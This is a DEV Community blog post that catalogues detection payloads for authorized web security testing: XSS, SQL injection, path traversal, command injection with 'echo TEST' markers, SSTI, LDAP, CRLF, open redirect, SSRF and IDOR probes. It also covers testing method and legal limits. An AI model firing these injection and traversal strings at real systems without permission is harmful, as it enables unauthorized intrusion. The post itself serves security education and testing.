DEV Community

Trix Cyrus
Trix Cyrus

Posted on

100+ Useful Payloads for Web Security Testing

Author: Trix Cyrus

Waymap Pentesting Tool: Click Here
TrixSec Github: Click Here
TrixSec Telegram: Click Here


Web applications constantly process user-controlled input. When that input is handled incorrectly, it can lead to vulnerabilities such as Cross-Site Scripting (XSS), SQL Injection, Server-Side Template Injection (SSTI), Command Injection, Path Traversal, and more.

Security researchers and penetration testers often use small, controlled payloads to determine how an application processes unexpected input.

This article contains 100+ practical payload examples for authorized web security testing. Use them only against applications you own or have explicit permission to test.


1. Basic XSS Payloads

Cross-Site Scripting occurs when an application places untrusted input into a page without properly encoding it.

Basic payloads:

<script>alert(1)</script>
Enter fullscreen mode Exit fullscreen mode
<script>alert(document.domain)</script>
Enter fullscreen mode Exit fullscreen mode
<script>alert(document.title)</script>
Enter fullscreen mode Exit fullscreen mode
<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode
<svg onload=alert(1)>
Enter fullscreen mode Exit fullscreen mode
<body onload=alert(1)>
Enter fullscreen mode Exit fullscreen mode
<input autofocus onfocus=alert(1)>
Enter fullscreen mode Exit fullscreen mode
<details open ontoggle=alert(1)>
Enter fullscreen mode Exit fullscreen mode
<marquee onstart=alert(1)>
Enter fullscreen mode Exit fullscreen mode
<video src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

These are primarily useful for determining whether arbitrary HTML or JavaScript can execute in the browser.


2. HTML Injection Payloads

HTML injection does not necessarily require JavaScript execution.

Try simple HTML elements first:

<h1>TEST</h1>
Enter fullscreen mode Exit fullscreen mode
<b>Injected Content</b>
Enter fullscreen mode Exit fullscreen mode
<i>Security Test</i>
Enter fullscreen mode Exit fullscreen mode
<mark>TEST</mark>
Enter fullscreen mode Exit fullscreen mode
<div>Injected HTML</div>
Enter fullscreen mode Exit fullscreen mode
<a href="https://example.com">TEST</a>
Enter fullscreen mode Exit fullscreen mode
<img src="invalid">
Enter fullscreen mode Exit fullscreen mode

If these elements are rendered rather than encoded, investigate the context further.


3. Attribute Injection

When user input is inserted into an HTML attribute, test whether you can escape the existing attribute.

" test
Enter fullscreen mode Exit fullscreen mode
' test
Enter fullscreen mode Exit fullscreen mode
" autofocus
Enter fullscreen mode Exit fullscreen mode
' autofocus
Enter fullscreen mode Exit fullscreen mode
" onfocus=alert(1) autofocus="
Enter fullscreen mode Exit fullscreen mode
' onfocus=alert(1) autofocus='
Enter fullscreen mode Exit fullscreen mode

The exact payload depends heavily on the surrounding HTML context.


4. SQL Injection Detection Payloads

SQL injection occurs when user-controlled input is incorporated into SQL queries unsafely.

Start with harmless syntax probes:

'
Enter fullscreen mode Exit fullscreen mode
"
Enter fullscreen mode Exit fullscreen mode
`
Enter fullscreen mode Exit fullscreen mode
')
Enter fullscreen mode Exit fullscreen mode
")
Enter fullscreen mode Exit fullscreen mode
'))
Enter fullscreen mode Exit fullscreen mode
"--
Enter fullscreen mode Exit fullscreen mode
'--
Enter fullscreen mode Exit fullscreen mode

Boolean-based testing can use paired inputs such as:

' AND 1=1--
Enter fullscreen mode Exit fullscreen mode
' AND 1=2--
Enter fullscreen mode Exit fullscreen mode
' OR 1=1--
Enter fullscreen mode Exit fullscreen mode
' OR 1=2--
Enter fullscreen mode Exit fullscreen mode

The goal is to compare application behavior between logically equivalent and contradictory conditions.

Tip: A single error is not proof of SQL injection. Compare responses, status codes, content length, timing, and application behavior.


5. Numeric SQL Injection Testing

Applications frequently use numeric parameters.

For example:

1
Enter fullscreen mode Exit fullscreen mode
1'
Enter fullscreen mode Exit fullscreen mode
1"
Enter fullscreen mode Exit fullscreen mode
1 AND 1=1
Enter fullscreen mode Exit fullscreen mode
1 AND 1=2
Enter fullscreen mode Exit fullscreen mode
1 OR 1=1
Enter fullscreen mode Exit fullscreen mode
1 OR 1=2
Enter fullscreen mode Exit fullscreen mode

These can help determine whether a numeric parameter is being incorporated into a database query.


6. JSON Injection Testing

Modern APIs frequently accept JSON.

Try malformed or unexpected values in controlled environments:

{"id":"1"}
Enter fullscreen mode Exit fullscreen mode
{"id":"1'"}
Enter fullscreen mode Exit fullscreen mode
{"id":"1\""}
Enter fullscreen mode Exit fullscreen mode
{"name":"<test>"}
Enter fullscreen mode Exit fullscreen mode
{"name":"<script>alert(1)</script>"}
Enter fullscreen mode Exit fullscreen mode

Also test unexpected types:

{"id":null}
Enter fullscreen mode Exit fullscreen mode
{"id":[]}
Enter fullscreen mode Exit fullscreen mode
{"id":{}}
Enter fullscreen mode Exit fullscreen mode
{"id":true}
Enter fullscreen mode Exit fullscreen mode

Unexpected types can expose validation and authorization weaknesses.


7. Path Traversal Payloads

Path traversal occurs when applications construct filesystem paths from untrusted input without proper validation.

Basic traversal probes:

../
Enter fullscreen mode Exit fullscreen mode
../../
Enter fullscreen mode Exit fullscreen mode
../../../
Enter fullscreen mode Exit fullscreen mode
../../../../
Enter fullscreen mode Exit fullscreen mode

Encoded variants:

..%2f
Enter fullscreen mode Exit fullscreen mode
%2e%2e%2f
Enter fullscreen mode Exit fullscreen mode
%2e%2e/
Enter fullscreen mode Exit fullscreen mode
..%252f
Enter fullscreen mode Exit fullscreen mode

Windows-style traversal:

..\ 
Enter fullscreen mode Exit fullscreen mode
..\..\ 
Enter fullscreen mode Exit fullscreen mode
..%5c
Enter fullscreen mode Exit fullscreen mode

Double-encoded traversal:

%252e%252e%252f
Enter fullscreen mode Exit fullscreen mode

Always test traversal against a controlled application containing intentionally created test files.


8. Command Injection Detection

Command injection happens when user input reaches an operating-system command interpreter.

Safe separators and probes for controlled labs include:

;
Enter fullscreen mode Exit fullscreen mode
|
Enter fullscreen mode Exit fullscreen mode
&&
Enter fullscreen mode Exit fullscreen mode
||
Enter fullscreen mode Exit fullscreen mode
&
Enter fullscreen mode Exit fullscreen mode
$(...)
Enter fullscreen mode Exit fullscreen mode
`...`
Enter fullscreen mode Exit fullscreen mode

For a test application, you can use a harmless marker:

; echo TEST
Enter fullscreen mode Exit fullscreen mode
| echo TEST
Enter fullscreen mode Exit fullscreen mode
&& echo TEST
Enter fullscreen mode Exit fullscreen mode
$(echo TEST)
Enter fullscreen mode Exit fullscreen mode
`echo TEST`
Enter fullscreen mode Exit fullscreen mode

A returned TEST marker can help demonstrate command execution without interacting with sensitive system resources.


9. Server-Side Template Injection (SSTI)

SSTI occurs when user-controlled input is interpreted as a server-side template.

Common mathematical probes include:

{{7*7}}
Enter fullscreen mode Exit fullscreen mode
{{7+7}}
Enter fullscreen mode Exit fullscreen mode
${7*7}
Enter fullscreen mode Exit fullscreen mode
<%= 7*7 %>
Enter fullscreen mode Exit fullscreen mode
#{7*7}
Enter fullscreen mode Exit fullscreen mode
*{7*7}
Enter fullscreen mode Exit fullscreen mode

If an application transforms these into a calculated value such as 49, investigate which template engine is processing the input.


10. LDAP Injection Testing

LDAP-backed applications should also validate user input.

Basic probes:

*
Enter fullscreen mode Exit fullscreen mode
)(
Enter fullscreen mode Exit fullscreen mode
*
Enter fullscreen mode Exit fullscreen mode
admin*
Enter fullscreen mode Exit fullscreen mode
*)(uid=*)
Enter fullscreen mode Exit fullscreen mode
*)(objectClass=*)
Enter fullscreen mode Exit fullscreen mode

Use these only against authorized LDAP applications or intentionally vulnerable labs.


11. XML Injection Testing

For applications accepting XML, start with simple malformed structures:

<test>hello</test>
Enter fullscreen mode Exit fullscreen mode
<test><value>hello</value></test>
Enter fullscreen mode Exit fullscreen mode
<test></value></test>
Enter fullscreen mode Exit fullscreen mode
<test><![CDATA[test]]></test>
Enter fullscreen mode Exit fullscreen mode

You can also test whether unexpected XML structures are accepted by the parser.

For XXE testing, use a dedicated local laboratory rather than testing external systems.


12. HTTP Header Injection

Applications that reflect user-controlled values into HTTP headers can be vulnerable to header injection.

Test special characters such as:

%0d%0a
Enter fullscreen mode Exit fullscreen mode
%0a
Enter fullscreen mode Exit fullscreen mode
%0d
Enter fullscreen mode Exit fullscreen mode

Encoded CRLF:

%0D%0A
Enter fullscreen mode Exit fullscreen mode

A controlled test value can be:

test%0d%0aX-Test: injected
Enter fullscreen mode Exit fullscreen mode

Then inspect the response headers.


13. Open Redirect Testing

If an application accepts a redirect parameter, test whether it accepts an external destination:

https://example.com
Enter fullscreen mode Exit fullscreen mode
//example.com
Enter fullscreen mode Exit fullscreen mode
https:%2f%2fexample.com
Enter fullscreen mode Exit fullscreen mode
//example.com/test
Enter fullscreen mode Exit fullscreen mode

For example:

/login?next=https://example.com
Enter fullscreen mode Exit fullscreen mode

If the application redirects to an arbitrary external domain, investigate the behavior as a potential open redirect.


14. URL Parsing Tests

URL parsers can behave differently around unusual input.

Useful test values include:

https://example.com
Enter fullscreen mode Exit fullscreen mode
//example.com
Enter fullscreen mode Exit fullscreen mode
https://example.com/
Enter fullscreen mode Exit fullscreen mode
https://example.com?test=1
Enter fullscreen mode Exit fullscreen mode
https://example.com#test
Enter fullscreen mode Exit fullscreen mode
https://example.com%2f
Enter fullscreen mode Exit fullscreen mode
https://example.com%3f
Enter fullscreen mode Exit fullscreen mode

These are useful when testing redirect, SSRF, URL validation, and allowlist implementations.


15. SSRF Detection

Server-Side Request Forgery occurs when an application can make network requests based on attacker-controlled input.

For authorized testing, use a server you control:

http://your-test-server.example/
Enter fullscreen mode Exit fullscreen mode
https://your-test-server.example/ssrf-test
Enter fullscreen mode Exit fullscreen mode

You can then monitor whether the application makes a request to your controlled endpoint.

For cloud environments, test metadata access only within an explicitly authorized lab.


16. Null Byte Testing

Some applications historically handled null bytes inconsistently.

Try:

%00
Enter fullscreen mode Exit fullscreen mode
test%00
Enter fullscreen mode Exit fullscreen mode
file.txt%00
Enter fullscreen mode Exit fullscreen mode
../test%00
Enter fullscreen mode Exit fullscreen mode

These can be useful when testing filename validation and parser differences.


17. Unicode and Encoding Tests

Input validation can behave differently after decoding.

Useful values include:

%3C
Enter fullscreen mode Exit fullscreen mode
%3E
Enter fullscreen mode Exit fullscreen mode
%22
Enter fullscreen mode Exit fullscreen mode
%27
Enter fullscreen mode Exit fullscreen mode
%2F
Enter fullscreen mode Exit fullscreen mode
%5C
Enter fullscreen mode Exit fullscreen mode

Double encoding:

%253C
Enter fullscreen mode Exit fullscreen mode
%253E
Enter fullscreen mode Exit fullscreen mode
%252F
Enter fullscreen mode Exit fullscreen mode
%255C
Enter fullscreen mode Exit fullscreen mode

These are particularly useful for testing whether validation happens before or after URL decoding.


18. Case Variation Tests

Some filters incorrectly assume a specific capitalization.

For example:

<ScRiPt>alert(1)</ScRiPt>
Enter fullscreen mode Exit fullscreen mode
<IMG SRC=x ONERROR=alert(1)>
Enter fullscreen mode Exit fullscreen mode
<Svg OnLoad=alert(1)>
Enter fullscreen mode Exit fullscreen mode

Case variations can reveal weaknesses in poorly implemented filters.


19. Whitespace Testing

Applications and filters may treat whitespace differently.

Try:

test test
Enter fullscreen mode Exit fullscreen mode
test%20test
Enter fullscreen mode Exit fullscreen mode
test%09test
Enter fullscreen mode Exit fullscreen mode
test%0atest
Enter fullscreen mode Exit fullscreen mode
test%0dtest
Enter fullscreen mode Exit fullscreen mode

Whitespace testing is particularly useful when investigating input normalization.


20. Authentication Testing Values

Authentication forms should be tested with unexpected input.

Examples:

'
Enter fullscreen mode Exit fullscreen mode
"
Enter fullscreen mode Exit fullscreen mode
admin
Enter fullscreen mode Exit fullscreen mode
administrator
Enter fullscreen mode Exit fullscreen mode
test
Enter fullscreen mode Exit fullscreen mode
null
Enter fullscreen mode Exit fullscreen mode
undefined
Enter fullscreen mode Exit fullscreen mode
true
Enter fullscreen mode Exit fullscreen mode
false
Enter fullscreen mode Exit fullscreen mode

The goal is to identify differences in validation, error handling, and authentication logic rather than simply attempting random credentials.


21. Authorization / IDOR Testing

When an API uses object identifiers, change only the identifier while keeping the rest of the request identical.

For example:

/api/users/100
Enter fullscreen mode Exit fullscreen mode

Test against another authorized test account:

/api/users/101
Enter fullscreen mode Exit fullscreen mode

Similarly:

?id=100
Enter fullscreen mode Exit fullscreen mode
?id=101
Enter fullscreen mode Exit fullscreen mode
/user/100/profile
Enter fullscreen mode Exit fullscreen mode
/user/101/profile
Enter fullscreen mode Exit fullscreen mode

A security issue may exist if a user can access another user's resources without authorization.


22. File Upload Testing

File upload functionality should be tested with harmless files.

Examples:

test.txt
Enter fullscreen mode Exit fullscreen mode
test.html
Enter fullscreen mode Exit fullscreen mode
test.svg
Enter fullscreen mode Exit fullscreen mode
test.jpg
Enter fullscreen mode Exit fullscreen mode

Also test filename normalization:

test file.txt
Enter fullscreen mode Exit fullscreen mode
test..txt
Enter fullscreen mode Exit fullscreen mode
test%20file.txt
Enter fullscreen mode Exit fullscreen mode
test%00.txt
Enter fullscreen mode Exit fullscreen mode

The objective is to determine whether the application properly validates file type, extension, MIME type, filename, size, and storage location.


23. CORS Testing Values

When testing CORS configurations, use a domain you control:

https://your-test-origin.example
Enter fullscreen mode Exit fullscreen mode
https://sub.your-test-origin.example
Enter fullscreen mode Exit fullscreen mode
null
Enter fullscreen mode Exit fullscreen mode

Then inspect whether the application returns unexpected:

Access-Control-Allow-Origin
Enter fullscreen mode Exit fullscreen mode

or:

Access-Control-Allow-Credentials
Enter fullscreen mode Exit fullscreen mode

combinations.


24. API Parameter Pollution

Try sending the same parameter multiple times:

?id=1&id=2
Enter fullscreen mode Exit fullscreen mode
?role=user&role=admin
Enter fullscreen mode Exit fullscreen mode
?redirect=/home&redirect=https://example.com
Enter fullscreen mode Exit fullscreen mode

Different frameworks may interpret duplicate parameters differently.

This can expose inconsistencies between frontend validation, backend parsing, proxies, and application logic.


25. HTTP Method Testing

If an endpoint normally accepts:

GET
Enter fullscreen mode Exit fullscreen mode

test whether it behaves unexpectedly with:

POST
Enter fullscreen mode Exit fullscreen mode
PUT
Enter fullscreen mode Exit fullscreen mode
PATCH
Enter fullscreen mode Exit fullscreen mode
DELETE
Enter fullscreen mode Exit fullscreen mode
OPTIONS
Enter fullscreen mode Exit fullscreen mode
HEAD
Enter fullscreen mode Exit fullscreen mode

Unexpectedly enabled methods can sometimes reveal functionality that was not intended to be publicly accessible.


26. Security Testing Markers

Sometimes the best payload is simply a unique marker.

Use values such as:

TRIXSEC_TEST_001
Enter fullscreen mode Exit fullscreen mode
TRIXSEC_XSS_TEST
Enter fullscreen mode Exit fullscreen mode
TRIXSEC_SSTI_TEST
Enter fullscreen mode Exit fullscreen mode
TRIXSEC_SQLI_TEST
Enter fullscreen mode Exit fullscreen mode
TRIXSEC_SSRF_TEST
Enter fullscreen mode Exit fullscreen mode
TRIXSEC_CANARY_12345
Enter fullscreen mode Exit fullscreen mode

Unique markers make it much easier to identify where input is reflected or processed.


27. Payload Encoding Checklist

When a basic payload is blocked, don't immediately assume the application is secure.

Test how the application handles:

  • URL encoding
  • Double URL encoding
  • HTML encoding
  • Unicode
  • Case changes
  • Whitespace
  • JSON escaping
  • Backslash escaping
  • Parameter duplication
  • Content-Type changes
  • Character normalization

For example:

<
Enter fullscreen mode Exit fullscreen mode

can become:

%3C
Enter fullscreen mode Exit fullscreen mode

and then:

%253C
Enter fullscreen mode Exit fullscreen mode

This helps identify inconsistencies between different layers of an application.


28. Quick Payload Reference

Here is a compact list of useful testing values:

'
"
`
')
"))
--
#
;
|
&&
||
../
..%2f
%2e%2e%2f
%00
%0d
%0a
%0d%0a
*
)(
{{7*7}}
${7*7}
<%=7*7%>
<test>
<h1>TEST</h1>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
TRIXSEC_TEST
TRIXSEC_XSS_TEST
TRIXSEC_SQLI_TEST
TRIXSEC_SSTI_TEST
TRIXSEC_SSRF_TEST
Enter fullscreen mode Exit fullscreen mode

How to Use Payloads Effectively

Payloads are only one part of web security testing.

A good testing methodology is:

1. Find the input

Identify parameters, headers, cookies, JSON fields, URL paths, file uploads, and other user-controlled data.

2. Establish a baseline

Record the normal response:

  • Status code
  • Response size
  • Response body
  • Headers
  • Response time
  • Redirect behavior

3. Introduce a harmless marker

Use something like:

TRIXSEC_TEST_001
Enter fullscreen mode Exit fullscreen mode

Determine whether the value is reflected, stored, transformed, or ignored.

4. Identify the context

Ask where your input appears:

HTML
HTML attribute
JavaScript
CSS
JSON
SQL
URL
HTTP header
Template
Filesystem path
Enter fullscreen mode Exit fullscreen mode

5. Select an appropriate test

Use a payload designed for that specific context.

6. Compare the response

Look for meaningful differences rather than relying on a single error message.

7. Confirm safely

Reproduce the behavior using the smallest possible proof of concept.


Important: Payload ≠ Vulnerability

One of the biggest mistakes beginners make is assuming:

"My payload worked, therefore the application is vulnerable."

That isn't necessarily true.

For example, seeing:

<script>alert(1)</script>
Enter fullscreen mode Exit fullscreen mode

in an HTTP response does not automatically mean XSS exists.

You need to determine whether the browser actually interprets the input as executable markup and whether the behavior occurs in a security-relevant context.

The same principle applies to SQL errors, template expressions, path traversal strings, and other probes.


Building Your Own Payload Wordlist

Instead of relying on one massive static list, organize payloads by vulnerability class:

payloads/
├── xss/
├── sqli/
├── ssti/
├── ssrf/
├── traversal/
├── command-injection/
├── cors/
├── open-redirect/
├── headers/
├── api/
└── encoding/
Enter fullscreen mode Exit fullscreen mode

This makes automated security testing much easier because your scanner can select payloads based on the context it discovers.

For example:

Parameter discovered
        ↓
Identify parameter context
        ↓
Select payload category
        ↓
Send controlled probe
        ↓
Compare response
        ↓
Analyze result
        ↓
Generate finding
Enter fullscreen mode Exit fullscreen mode

This is also a useful architecture for developing your own vulnerability scanner.


Useful Tools for Payload Testing

Some commonly used tools include:

  1. Burp Suite — Intercepting requests, modifying parameters, and analyzing responses.
  2. OWASP ZAP — Open-source web application security testing.
  3. Waymap — Automated web vulnerability scanning.
  4. ffuf — Web fuzzing and content discovery.
  5. Nuclei — Template-based vulnerability detection.
  6. httpx — HTTP probing and web service discovery.
  7. Caido — Modern web security testing proxy.
  8. Wireshark — Network traffic analysis.

Ethical Hacking and Legal Considerations

These payloads should only be used against:

  • Your own applications
  • Local security laboratories
  • CTF environments
  • Bug bounty targets within their published scope
  • Systems where you have explicit authorization

Never use security testing payloads to access, modify, or extract data from systems without permission.

A good security researcher doesn't just know how to exploit a vulnerability.

They know when they are authorized to test it.


Conclusion

Payloads are fundamental building blocks of web application security testing, but a payload by itself does not prove a vulnerability.

The real skill is understanding:

  • Where your input goes
  • How the application processes it
  • Which parser interprets it
  • How different encoding layers interact
  • How to distinguish a real vulnerability from a false positive

Start with simple probes, establish a baseline, understand the application's input context, and escalate testing only when the evidence supports it.

Most importantly, practice in controlled environments and use your security skills responsibly.

Happy Hunting & Stay Ethical!

~Trixsec

Top comments (0)